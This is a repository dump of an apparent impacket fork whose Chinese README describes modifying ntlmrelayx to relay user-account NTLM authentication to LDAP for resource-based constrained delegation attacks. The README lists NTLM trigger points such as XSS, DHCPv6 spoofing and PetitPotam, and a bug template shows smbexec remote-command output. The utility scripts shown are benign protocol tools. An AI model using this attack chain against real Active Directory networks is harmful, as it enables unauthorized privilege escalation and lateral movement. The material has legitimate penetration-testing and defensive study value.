├── .github ├── ISSUE_TEMPLATE │ └── bug_report.md ├── labeler.yml └── workflows │ ├── build_and_test.yml │ └── labeler.yml ├── .gitignore ├── ChangeLog.md ├── Dockerfile ├── LICENSE ├── MANIFEST.in ├── README.md ├── SECURITY.md ├── TESTING.md ├── examples ├── Get-GPPPassword.py ├── GetADUsers.py ├── GetNPUsers.py ├── GetUserSPNs.py ├── addcomputer.py ├── atexec.py ├── dcomexec.py ├── dpapi.py ├── esentutl.py ├── exchanger.py ├── findDelegation.py ├── getArch.py ├── getPac.py ├── getST.py ├── getTGT.py ├── goldenPac.py ├── karmaSMB.py ├── keylistattack.py ├── kintercept.py ├── lookupsid.py ├── machine_role.py ├── mimikatz.py ├── mqtt_check.py ├── mssqlclient.py ├── mssqlinstance.py ├── netview.py ├── nmapAnswerMachine.py ├── ntfs-read.py ├── ntlmrelayx.py ├── ping.py ├── ping6.py ├── psexec.py ├── raiseChild.py ├── rbcd.py ├── rdp_check.py ├── reg.py ├── registry-read.py ├── rpcdump.py ├── rpcmap.py ├── sambaPipe.py ├── samrdump.py ├── secretsdump.py ├── services.py ├── smbclient.py ├── smbexec.py ├── smbpasswd.py ├── smbrelayx.py ├── smbserver.py ├── sniff.py ├── sniffer.py ├── split.py ├── ticketConverter.py ├── ticketer.py ├── tstool.py ├── wmiexec.py ├── wmipersist.py └── wmiquery.py ├── impacket ├── Dot11Crypto.py ├── Dot11KeyManager.py ├── ICMP6.py ├── IP6.py ├── IP6_Address.py ├── IP6_Extension_Headers.py ├── ImpactDecoder.py ├── ImpactPacket.py ├── NDP.py ├── __init__.py ├── cdp.py ├── crypto.py ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── atsvc.py │ │ ├── bkrp.py │ │ ├── dcom │ │ ├── __init__.py │ │ ├── comev.py │ │ ├── oaut.py │ │ ├── scmp.py │ │ ├── vds.py │ │ └── wmi.py │ │ ├── dcomrt.py │ │ ├── dhcpm.py │ │ ├── drsuapi.py │ │ ├── dssp.py │ │ ├── dtypes.py │ │ ├── enum.py │ │ ├── epm.py │ │ ├── even.py │ │ ├── even6.py │ │ ├── iphlp.py │ │ ├── lsad.py │ │ ├── lsat.py │ │ ├── mgmt.py │ │ ├── mimilib.py │ │ ├── ndr.py │ │ ├── nrpc.py │ │ ├── nspi.py │ │ ├── oxabref.py │ │ ├── par.py │ │ ├── rpch.py │ │ ├── rpcrt.py │ │ ├── rprn.py │ │ ├── rrp.py │ │ ├── samr.py │ │ ├── sasec.py │ │ ├── scmr.py │ │ ├── srvs.py │ │ ├── transport.py │ │ ├── tsch.py │ │ ├── tsts.py │ │ └── wkst.py ├── dhcp.py ├── dns.py ├── dot11.py ├── dpapi.py ├── eap.py ├── ese.py ├── examples │ ├── __init__.py │ ├── ldap_shell.py │ ├── logger.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── attacks │ │ │ ├── __init__.py │ │ │ ├── dcsyncattack.py │ │ │ ├── httpattack.py │ │ │ ├── httpattacks │ │ │ │ ├── __init__.py │ │ │ │ └── adcsattack.py │ │ │ ├── imapattack.py │ │ │ ├── ldapattack.py │ │ │ ├── mssqlattack.py │ │ │ ├── rpcattack.py │ │ │ └── smbattack.py │ │ ├── clients │ │ │ ├── __init__.py │ │ │ ├── dcsyncclient.py │ │ │ ├── httprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ ├── ldaprelayclient.py │ │ │ ├── mssqlrelayclient.py │ │ │ ├── rpcrelayclient.py │ │ │ ├── smbrelayclient.py │ │ │ └── smtprelayclient.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ ├── httprelayserver.py │ │ │ ├── rawrelayserver.py │ │ │ ├── smbrelayserver.py │ │ │ ├── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── http.py │ │ │ │ ├── https.py │ │ │ │ ├── imap.py │ │ │ │ ├── imaps.py │ │ │ │ ├── mssql.py │ │ │ │ ├── smb.py │ │ │ │ └── smtp.py │ │ │ ├── socksserver.py │ │ │ └── wcfrelayserver.py │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── config.py │ │ │ ├── enum.py │ │ │ ├── ssl.py │ │ │ ├── targetsutils.py │ │ │ └── tcpshell.py │ ├── os_ident.py │ ├── remcomsvc.py │ ├── rpcdatabase.py │ ├── secretsdump.py │ ├── serviceinstall.py │ ├── smbclient.py │ └── utils.py ├── helper.py ├── hresult_errors.py ├── http.py ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── gssapi.py │ ├── kerberosv5.py │ ├── keytab.py │ ├── pac.py │ └── types.py ├── ldap │ ├── __init__.py │ ├── ldap.py │ ├── ldapasn1.py │ └── ldaptypes.py ├── mapi_constants.py ├── mqtt.py ├── nmb.py ├── nt_errors.py ├── ntlm.py ├── pcap_linktypes.py ├── pcapfile.py ├── smb.py ├── smb3.py ├── smb3structs.py ├── smbconnection.py ├── smbserver.py ├── spnego.py ├── structure.py ├── system_errors.py ├── tds.py ├── uuid.py ├── version.py ├── winregistry.py └── wps.py ├── ntlmrelayx.py ├── requirements-test.txt ├── requirements.txt ├── setup.py ├── tests ├── ImpactPacket │ ├── __init__.py │ ├── test_ICMP6.py │ ├── test_IP6.py │ ├── test_IP6_Address.py │ ├── test_IP6_Extension_Headers.py │ ├── test_TCP.py │ ├── test_TCP_bug_issue7.py │ └── test_ethernet.py ├── SMB_RPC │ ├── __init__.py │ ├── test_ldap.py │ ├── test_ndr.py │ ├── test_nmb.py │ ├── test_ntlm.py │ ├── test_rpch.py │ ├── test_rpcrt.py │ ├── test_secretsdump.py │ ├── test_smb.py │ ├── test_smbserver.py │ ├── test_spnego.py │ └── test_wmi.py ├── __init__.py ├── conftest.py ├── data │ ├── ccache-v1 │ ├── ccache-v2 │ ├── ccache-v3 │ ├── ccache-v3-kirbi │ ├── ccache-v4 │ └── ccache-v4-kirbi ├── dcerpc │ ├── __init__.py │ ├── test_bkrp.py │ ├── test_dcomrt.py │ ├── test_dhcpm.py │ ├── test_drsuapi.py │ ├── test_epm.py │ ├── test_even.py │ ├── test_even6.py │ ├── test_fasp.py │ ├── test_lsad.py │ ├── test_lsat.py │ ├── test_mgmt.py │ ├── test_mimilib.py │ ├── test_nrpc.py │ ├── test_par.py │ ├── test_rprn.py │ ├── test_rrp.py │ ├── test_samr.py │ ├── test_scmr.py │ ├── test_srvs.py │ ├── test_tsch.py │ └── test_wkst.py ├── dcetests.cfg.template ├── dot11 │ ├── __init__.py │ ├── test_Dot11Base.py │ ├── test_Dot11Decoder.py │ ├── test_Dot11HierarchicalUpdate.py │ ├── test_FrameControlACK.py │ ├── test_FrameControlCFEnd.py │ ├── test_FrameControlCFEndCFACK.py │ ├── test_FrameControlCTS.py │ ├── test_FrameControlPSPoll.py │ ├── test_FrameControlRTS.py │ ├── test_FrameData.py │ ├── test_FrameManagement.py │ ├── test_FrameManagementAssociationRequest.py │ ├── test_FrameManagementAssociationResponse.py │ ├── test_FrameManagementAuthentication.py │ ├── test_FrameManagementDeauthentication.py │ ├── test_FrameManagementDisassociation.py │ ├── test_FrameManagementProbeRequest.py │ ├── test_FrameManagementProbeResponse.py │ ├── test_FrameManagementReassociationRequest.py │ ├── test_FrameManagementReassociationResponse.py │ ├── test_RadioTap.py │ ├── test_RadioTapDecoder.py │ ├── test_WEPDecoder.py │ ├── test_WEPEncoder.py │ ├── test_WPA.py │ ├── test_WPA2.py │ ├── test_helper.py │ └── test_wps.py ├── misc │ ├── __init__.py │ ├── test_ccache.py │ ├── test_crypto.py │ ├── test_dcerpc_v5_ndr.py │ ├── test_dns.py │ ├── test_dpapi.py │ ├── test_ip6_address.py │ ├── test_krb5_crypto.py │ ├── test_structure.py │ └── test_utils.py └── walkmodules.py └── tox.ini /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | ### Configuration 11 | impacket version: 12 | Python version: 13 | Target OS: 14 | 15 | ### Debug Output With Command String 16 | i.e. 17 | smbexec -debug domain/user:password@127.0.0.1 18 | ``` 19 | smbexec -debug domain/user:password@127.0.0.1 20 | [+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] 21 | [+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 22 | [!] Launching semi-interactive shell - Careful what you execute 23 | C:\Windows\system32>net group 24 | [+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 25 | Traceback (most recent call last): 26 | File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd 27 | func = getattr(self, 'do_' + cmd) 28 | AttributeError: 'RemoteShell' object has no attribute 'do_net' 29 | ``` 30 | 31 | ### PCAP 32 | If applicable, add a packet capture to help explain your problem. 33 | 34 | ### Additional context 35 | Space for additional context, investigative results, suspected issue. 36 | -------------------------------------------------------------------------------- /.github/labeler.yml: -------------------------------------------------------------------------------- 1 | # Rules to label Pull Requests 2 | version: 1 3 | labels: 4 | - label: "Examples" 5 | files: 6 | - "examples/.*" 7 | - label: "Library" 8 | files: 9 | - "impacket/.*" 10 | - label: "CI/CD & Tests" 11 | files: 12 | - "tests/.*" 13 | - "tox.ini" 14 | - "Dockerfile" 15 | - ".github/.*" 16 | - label: "Setup" 17 | files: 18 | - "setup.py" 19 | - "requirements*.txt" 20 | - "MANIFEST.in" 21 | - label: "Docs" 22 | files: 23 | - "*.md" 24 | - "LICENSE" 25 | -------------------------------------------------------------------------------- /.github/workflows/build_and_test.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to build and run Impacket's tests 2 | # 3 | 4 | name: Build and test Impacket 5 | 6 | on: [push, pull_request] 7 | 8 | env: 9 | DOCKER_TAG: impacket:latests 10 | 11 | jobs: 12 | lint: 13 | name: Check syntaxs errors and warnings 14 | runs-on: ubuntu-latest 15 | if: 16 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 17 | github.repository 18 | 19 | steps: 20 | - name: Checkout Impacket 21 | uses: actions/checkout@v2 22 | 23 | - name: Setup Python 3.8 24 | uses: actions/setup-python@v2 25 | with: 26 | python-version: 3.8 27 | 28 | - name: Install Python dependencies 29 | run: | 30 | python -m pip install flake8 31 | 32 | - name: Check syntax errors 33 | run: | 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | 36 | - name: Check PEP8 warnings 37 | run: | 38 | flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 39 | 40 | test: 41 | name: Run unit tests and build wheel 42 | needs: lint 43 | runs-on: ubuntu-latest 44 | if: 45 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 46 | github.repository 47 | 48 | strategy: 49 | fail-fast: false 50 | matrix: 51 | python-version: ["3.6", "3.7", "3.8", "3.9"] 52 | experimental: [false] 53 | include: 54 | - python-version: "3.10" 55 | experimental: true 56 | continue-on-error: ${{ matrix.experimental }} 57 | 58 | steps: 59 | - name: Checkout Impacket 60 | uses: actions/checkout@v2 61 | 62 | - name: Setup Python ${{ matrix.python-version }} 63 | uses: actions/setup-python@v2 64 | with: 65 | python-version: ${{ matrix.python-version }} 66 | 67 | - name: Install Python dependencies 68 | run: | 69 | python -m pip install --upgrade pip wheel 70 | python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt 71 | 72 | - name: Run unit tests 73 | run: | 74 | tox -- -m 'not remote' 75 | 76 | - name: Build wheel artifact 77 | run: | 78 | python setup.py bdist_wheel 79 | 80 | docker: 81 | name: Build docker image 82 | needs: lint 83 | runs-on: ubuntu-latest 84 | if: 85 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 86 | github.repository 87 | 88 | continue-on-error: true 89 | steps: 90 | - name: Checkout Impacket 91 | uses: actions/checkout@v2 92 | 93 | - name: Build docker image 94 | run: | 95 | docker build -t ${{ env.DOCKER_TAG }} . 96 | -------------------------------------------------------------------------------- /.github/workflows/labeler.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to label Pull Requests 2 | # 3 | 4 | name: Label PRs 5 | 6 | on: 7 | - pull_request 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | steps: 13 | - uses: srvaroa/labeler@master 14 | env: 15 | GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | venv/ 12 | .env/ 13 | .venv/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | Pipfile 30 | Pipfile.lock 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *,cover 51 | 52 | # bak files 53 | *.bak 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # macOS 69 | .DS_Store 70 | 71 | # PyCharm 72 | .idea 73 | 74 | # Test cases configuration 75 | tests/dcetests.cfg -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine as compile 2 | WORKDIR /opt 3 | RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo 4 | RUN python3 -m pip install virtualenv 5 | RUN virtualenv -p python venv 6 | ENV PATH="/opt/venv/bin:$PATH" 7 | RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git 8 | RUN python3 -m pip install impacket/ 9 | 10 | FROM python:3.8-alpine 11 | COPY --from=compile /opt/venv /opt/venv 12 | ENV PATH="/opt/venv/bin:$PATH" 13 | ENTRYPOINT ["/bin/sh"] -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog.md 4 | include README.md 5 | include SECURITY.md 6 | include TESTING.md 7 | 8 | include requirements.txt 9 | 10 | include tox.ini 11 | recursive-include examples tests *.txt *.py 12 | recursive-include tests * 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # impacket-rbcd 2 | The original version of impact-ntlmrelayx only supported requests from machine accounts when playing through RBCD. Now I have made some small changes to enable it to support requests from user accounts. 3 | 4 | 原始版本的impacket-ntlmrelayx 通过RBCD方式进行Relay的时候只能支持来自机器账户的请求,现在我做了一些小小的改变,使其能够支持来自用户账户的请求。 5 | ntlmrelayx的相关依赖已经补充完成,可以直接使用 Pyinstaller进行打包为exe,在windows主机上进行执行 6 | 7 | ## 如何使用这个工具? 8 | 在某些特殊场景的AD渗透测试当中,我们可以使用考虑使用NtlmRelayToLdap的方式进行攻击。 9 | 攻击手法:利用 基于资源的约束性委派获取目标主机的权限。 10 | 11 | 原版本的 Impacket 只允许机器账户 发起 Relay修改自身的 属性为 攻击者所创建的机器账户。此工具补全了此类的攻击场景,加上了**允许受害者账户发起Relay进行修改自身所添加的机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性**的场景。 12 | 13 | 在修改此属性之后,我们可以利用基于资源的约束性委派(RBCD)从而获取到受害者账户的计算机账户的高权限票据进行横向移动。 14 | 因为在内网中大量未进行设置 IPV6 场景等多个NTLM的触发点,给 NTLM relay over Http 提供了极大的攻击面,所以这款工具在某些场合会有奇迹发生。 15 | 16 | 17 | ### NTLM 触发点 18 | - 受害者访问攻击者的网站链接 19 | - 受害者输错网络地址 20 | - 所在的网络未进行配置IPv6,攻击者冒充DHCPV6和DNSV6服务器 21 | - 受害者访问存在 XSS漏洞的网站 22 | - 受害者打开邮件【基于特定的邮箱客户端foxmail是可以的,outlook需要注意版本】 23 | - 打印机漏洞 24 | - petitpotam 25 | - ... 26 | 27 | 28 | 29 | 30 | ## referer 31 | [修改工具的方式来源](https://www.cnblogs.com/unicodeSec/p/14260648.html) 32 | 33 | 34 | 35 | ## 免责声明 36 | 本工具禁止进行未授权测试,禁止二次开发后进行未授权测试。 37 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。 38 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我不承担任何法律及连带责任。 39 | 在使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责声明。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 40 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | Security Policy 2 | =============== 3 | 4 | Although this initiative is not meant to be used in productive environments, 5 | if you consider that you have identified an issue that might affect the 6 | security of its users, or you understand that the tool is being abused, 7 | you can contact us at oss-security@secureauth.com. 8 | -------------------------------------------------------------------------------- /examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # ESE utility. Allows dumping catalog, pages and tables. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Extensive Storage Engine (ese) 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import logging 24 | import argparse 25 | 26 | from impacket.examples import logger 27 | from impacket import version 28 | from impacket.ese import ESENT_DB 29 | 30 | 31 | def dumpPage(ese, pageNum): 32 | data = ese.getPage(pageNum) 33 | data.dump() 34 | 35 | def exportTable(ese, tableName): 36 | cursor = ese.openTable(tableName) 37 | if cursor is None: 38 | logging.error('Can"t get a cursor for table: %s' % tableName) 39 | return 40 | 41 | i = 1 42 | print("Table: %s" % tableName) 43 | while True: 44 | try: 45 | record = ese.getNextRow(cursor) 46 | except Exception: 47 | logging.debug('Exception:', exc_info=True) 48 | logging.error('Error while calling getNextRow(), trying the next one') 49 | continue 50 | 51 | if record is None: 52 | break 53 | print("*** %d" % i) 54 | for j in list(record.keys()): 55 | if record[j] is not None: 56 | print("%-30s: %r" % (j, record[j])) 57 | i += 1 58 | 59 | def main(): 60 | print(version.BANNER) 61 | # Init the example's logger theme 62 | logger.init() 63 | 64 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 65 | "catalog, pages and tables.") 66 | parser.add_argument('databaseFile', action='store', help='ESE to open') 67 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 68 | parser.add_argument('-page', action='store', help='page to open') 69 | 70 | subparsers = parser.add_subparsers(help='actions', dest='action') 71 | 72 | # dump page 73 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 74 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 75 | 76 | # info page 77 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 78 | 79 | # export page 80 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 81 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 82 | 83 | if len(sys.argv)==1: 84 | parser.print_help() 85 | sys.exit(1) 86 | 87 | options = parser.parse_args() 88 | 89 | if options.debug is True: 90 | logging.getLogger().setLevel(logging.DEBUG) 91 | # Print the Library's installation path 92 | logging.debug(version.getInstallationPath()) 93 | else: 94 | logging.getLogger().setLevel(logging.INFO) 95 | 96 | ese = ESENT_DB(options.databaseFile) 97 | 98 | try: 99 | if options.action.upper() == 'INFO': 100 | ese.printCatalog() 101 | elif options.action.upper() == 'DUMP': 102 | dumpPage(ese, int(options.page)) 103 | elif options.action.upper() == 'EXPORT': 104 | exportTable(ese, options.table) 105 | else: 106 | raise Exception('Unknown action %s ' % options.action) 107 | except Exception as e: 108 | if logging.getLogger().level == logging.DEBUG: 109 | import traceback 110 | traceback.print_exc() 111 | print(e) 112 | ese.close() 113 | 114 | 115 | if __name__ == '__main__': 116 | main() 117 | sys.exit(1) 118 | -------------------------------------------------------------------------------- /examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 12 | # installed. 13 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 14 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 15 | # and doesn't require any authentication at all. 16 | # 17 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 18 | # 19 | # Author: 20 | # beto (@agsolino) 21 | # 22 | # Reference for: 23 | # RPCRT, NDR 24 | # 25 | 26 | from __future__ import division 27 | from __future__ import print_function 28 | import argparse 29 | import logging 30 | import sys 31 | 32 | from impacket import version 33 | from impacket.examples import logger 34 | from impacket.dcerpc.v5.rpcrt import DCERPCException 35 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 36 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 37 | 38 | 39 | class TARGETARCH: 40 | def __init__(self, options): 41 | self.__machinesList = list() 42 | self.__options = options 43 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 44 | 45 | def run(self): 46 | if self.__options.targets is not None: 47 | for line in self.__options.targets.readlines(): 48 | self.__machinesList.append(line.strip(' \r\n')) 49 | else: 50 | self.__machinesList.append(self.__options.target) 51 | 52 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 53 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 54 | 55 | for machine in self.__machinesList: 56 | try: 57 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 58 | transport = DCERPCTransportFactory(stringBinding) 59 | transport.set_connect_timeout(int(self.__options.timeout)) 60 | dce = transport.get_dce_rpc() 61 | dce.connect() 62 | try: 63 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 64 | except DCERPCException as e: 65 | if str(e).find('syntaxes_not_supported') >= 0: 66 | print('%s is 32-bit' % machine) 67 | else: 68 | logging.error(str(e)) 69 | pass 70 | else: 71 | print('%s is 64-bit' % machine) 72 | 73 | dce.disconnect() 74 | except Exception as e: 75 | #import traceback 76 | #traceback.print_exc() 77 | logging.error('%s: %s' % (machine, str(e))) 78 | 79 | # Process command-line arguments. 80 | if __name__ == '__main__': 81 | # Init the example's logger theme 82 | logger.init() 83 | print(version.BANNER) 84 | 85 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 86 | parser.add_argument('-target', action='store', help='') 87 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 88 | 'from (one per line). ') 89 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 90 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 91 | 92 | if len(sys.argv)==1: 93 | parser.print_help() 94 | sys.exit(1) 95 | 96 | options = parser.parse_args() 97 | 98 | if options.target is None and options.targets is None: 99 | logging.error('You have to specify a target!') 100 | sys.exit(1) 101 | 102 | if options.debug is True: 103 | logging.getLogger().setLevel(logging.DEBUG) 104 | # Print the Library's installation path 105 | logging.debug(version.getInstallationPath()) 106 | else: 107 | logging.getLogger().setLevel(logging.INFO) 108 | 109 | try: 110 | getArch = TARGETARCH(options) 111 | getArch.run() 112 | except (Exception, KeyboardInterrupt) as e: 113 | if logging.getLogger().level == logging.DEBUG: 114 | import traceback 115 | traceback.print_exc() 116 | logging.error(str(e)) 117 | sys.exit(0) 118 | -------------------------------------------------------------------------------- /examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 12 | # brute forcer quite easily. 13 | # 14 | # Author: 15 | # Alberto Solino (@agsolino) 16 | # 17 | # Reference for: 18 | # MQTT and Structure 19 | # 20 | 21 | from __future__ import print_function 22 | 23 | import argparse 24 | import logging 25 | import sys 26 | 27 | from impacket import version 28 | from impacket.examples import logger 29 | from impacket.examples.utils import parse_target 30 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 31 | 32 | class MQTT_LOGIN: 33 | def __init__(self, username, password, target, options): 34 | self._options = options 35 | self._username = username 36 | self._password = password 37 | self._target = target 38 | 39 | if self._username == '': 40 | self._username = None 41 | 42 | def run(self): 43 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 44 | 45 | if self._options.client_id is None: 46 | clientId = ' ' 47 | else: 48 | clientId = self._options.client_id 49 | 50 | mqtt.connect(clientId, self._username, self._password) 51 | 52 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 53 | 54 | if __name__ == '__main__': 55 | # Init the example's logger theme 56 | logger.init() 57 | print(version.BANNER) 58 | parser = argparse.ArgumentParser(add_help=False, 59 | description="MQTT login check") 60 | parser.add_argument("--help", action="help", help='show this help message and exit') 61 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 62 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 63 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 64 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | 67 | try: 68 | options = parser.parse_args() 69 | except Exception as e: 70 | logging.error(str(e)) 71 | sys.exit(1) 72 | 73 | if options.debug is True: 74 | logging.getLogger().setLevel(logging.DEBUG) 75 | # Print the Library's installation path 76 | logging.debug(version.getInstallationPath()) 77 | else: 78 | logging.getLogger().setLevel(logging.INFO) 79 | 80 | domain, username, password, address = parse_target(options.target) 81 | 82 | check_mqtt = MQTT_LOGIN(username, password, address, options) 83 | try: 84 | check_mqtt.run() 85 | except Exception as e: 86 | if logging.getLogger().level == logging.DEBUG: 87 | import traceback 88 | traceback.print_exc() 89 | logging.error(e) 90 | -------------------------------------------------------------------------------- /examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # [MC-SQLR] example. Retrieves the instances names from the target host 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Structure 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import argparse 23 | import sys 24 | import logging 25 | 26 | from impacket.examples import logger 27 | from impacket import version, tds 28 | 29 | if __name__ == '__main__': 30 | 31 | print(version.BANNER) 32 | # Init the example's logger theme 33 | logger.init() 34 | 35 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 36 | 37 | parser.add_argument('host', action='store', help='target host') 38 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 39 | 40 | if len(sys.argv)==1: 41 | parser.print_help() 42 | sys.exit(1) 43 | 44 | options = parser.parse_args() 45 | 46 | ms_sql = tds.MSSQL(options.host) 47 | instances = ms_sql.getInstances(int(options.timeout)) 48 | if len(instances) == 0: 49 | "No MSSQL Instances found" 50 | else: 51 | for i, instance in enumerate(instances): 52 | logging.info("Instance %d" % i) 53 | for key in list(instance.keys()): 54 | print(key + ":" + instance[key]) 55 | -------------------------------------------------------------------------------- /examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host 